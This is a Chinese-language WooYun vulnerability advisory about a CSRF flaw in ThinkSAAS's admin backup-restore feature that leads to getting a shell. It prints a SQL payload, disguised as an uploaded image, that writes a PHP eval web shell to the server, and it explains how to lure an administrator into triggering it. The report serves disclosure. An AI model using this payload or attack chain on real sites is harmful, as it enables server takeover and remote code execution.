漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-045531
漏洞标题：ThinkSAAS某功能设计不当可能导致可以csrf后台GETSHELL
相关厂商：thinksaas.cn
漏洞作者： xfkxfk
提交时间：2013-12-10 19:04
修复时间：2014-03-07 19:05
公开时间：2014-03-07 19:05
漏洞类型：CSRF
危害等级：中
自评Rank：15
漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-12-10： 细节已通知厂商并且等待厂商处理中
2013-12-15： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2014-02-08： 细节向核心白帽子及相关领域专家公开
2014-02-18： 细节向普通白帽子公开
2014-02-28： 细节向实习白帽子公开
2014-03-07： 细节向公众公开
简要描述：
ThinkSAAS某处处存在任意文件操作，利用CSRF直接前台导致GETSHELL
详细说明：
首先这里存在问题的是后台系统管理的数据备份还原处。
这里没有过滤sql参数，直接带入，拼接data/baksql/目录，然后进入恢复数据
这里在恢复是判断有没有分卷，没有分卷就直接恢复了，没有处理所要备份的sql文件的路径，类型，内容等，导致操作任意文件。
然后来看看这里数据恢复的操作：
我们抓个包：
我们在前台上传一个图片，图片内容为：
Drop TABLE IF EXISTS temp;
Create TABLE temp(cmd text NOT NULL);
Insert INTO temp (cmd) VALUES("<?php @eval($_POST['cmd']);?>");
Select cmd from temp into outfile 'F:/thinksaas/eval.php';
Drop TABLE IF EXISTS temp;
在sql参数处，把sql文件内容替换为我们自己上传的文件即可。
而且最重要的是，这里是GET请求，而且存在CSRF漏洞（图中以证明），那么我们上传了恶意文件后，诱使管理访问我们提供的恶意url就能拿到shell。
漏洞证明：
见详细说明
修复方案：
你们懂得
版权声明：转载请注明来源 xfkxfk@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2014-03-07 19:05
厂商回复：
最新状态：
暂无
漏洞评价：
评论
-
好吧，这都忽略了@疯狗，有QB么
( 核心白帽子 | Rank:2179 漏洞数:338 | 呵呵！)